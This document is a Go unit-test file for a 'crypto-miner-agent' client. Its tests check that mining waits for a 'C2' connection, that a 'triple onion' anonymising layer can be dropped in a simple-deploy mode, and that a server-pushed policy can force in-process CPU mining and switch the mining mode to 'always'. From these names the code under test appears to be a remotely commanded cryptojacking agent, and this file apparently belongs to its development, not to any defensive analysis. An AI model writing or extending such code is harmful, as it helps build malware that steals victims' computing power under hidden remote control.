package client import ( "context" "encoding/json" "testing" "time" "crypto-miner-agent/miner" ) func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true c := miningChainTestClient(t, cfg) r := c.newMiningChainRunner() if r.onion != nil { t.Fatal("expected nil triple onion when SimpleDeploy baked") } } func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) { setupNoContainerRuntime(t) c := miningChainTestClient(t, baseMiningCfg()) raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy()) c.applyTripleOnionPolicyJSON(raw) r := c.newMiningChainRunner() if r.onion != nil { t.Fatal("expected nil triple onion when server simple_deploy policy applied") } } func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true c := miningChainTestClient(t, cfg) c.miningChain = newTestMiningChainRunner(t, c) ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond) defer cancel() go c.startMiningWhenReady(ctx) time.Sleep(150 * time.Millisecond) if r := c.miningChain.Status(); r.ActiveMethod != "" { t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod) } c.connected.Store(true) time.Sleep(200 * time.Millisecond) } func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true cfg.MinerExecution = "inprocess" c := miningChainTestClient(t, cfg) r := c.newMiningChainRunner() if len(r.tiers.Report().TierChainOrder) == 0 { t.Fatal("expected default tier chain before auth") } raw, _ := json.Marshal(map[string]string{"force_tier": "cpu_inprocess"}) c.applyMiningTierPolicyJSON(raw) r.refreshTierOrchestrator() chain := r.tiers.Report().TierChainOrder if len(chain) != 1 || chain[0] != miner.TierCPUInprocess { t.Fatalf("expected force cpu_inprocess after auth refresh, got %v", chain) } } func TestKickMiningAfterAuthStartsSimpleDeployWhenConnected(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true cfg.MinerExecution = "inprocess" c := miningChainTestClient(t, cfg) c.miningChain = newTestMiningChainRunner(t, c) c.miningCtx = context.Background() c.connected.Store(true) c.kickMiningAfterAuth() deadline := time.Now().Add(2 * time.Second) for c.cfg.MiningMode != "always" && time.Now().Before(deadline) { time.Sleep(25 * time.Millisecond) } if c.cfg.MiningMode != "always" { t.Fatalf("mining_mode=%q want always", c.cfg.MiningMode) } } func TestKickMiningAfterAuthWaitsForC2OnSimpleDeploy(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true c := miningChainTestClient(t, cfg) c.miningChain = newTestMiningChainRunner(t, c) c.miningCtx = context.Background() c.connected.Store(false) c.kickMiningAfterAuth() time.Sleep(150 * time.Millisecond) if r := c.miningChain.Status(); r.ActiveMethod != "" { t.Fatalf("should not start mining before C2 connect, active=%q", r.ActiveMethod) } }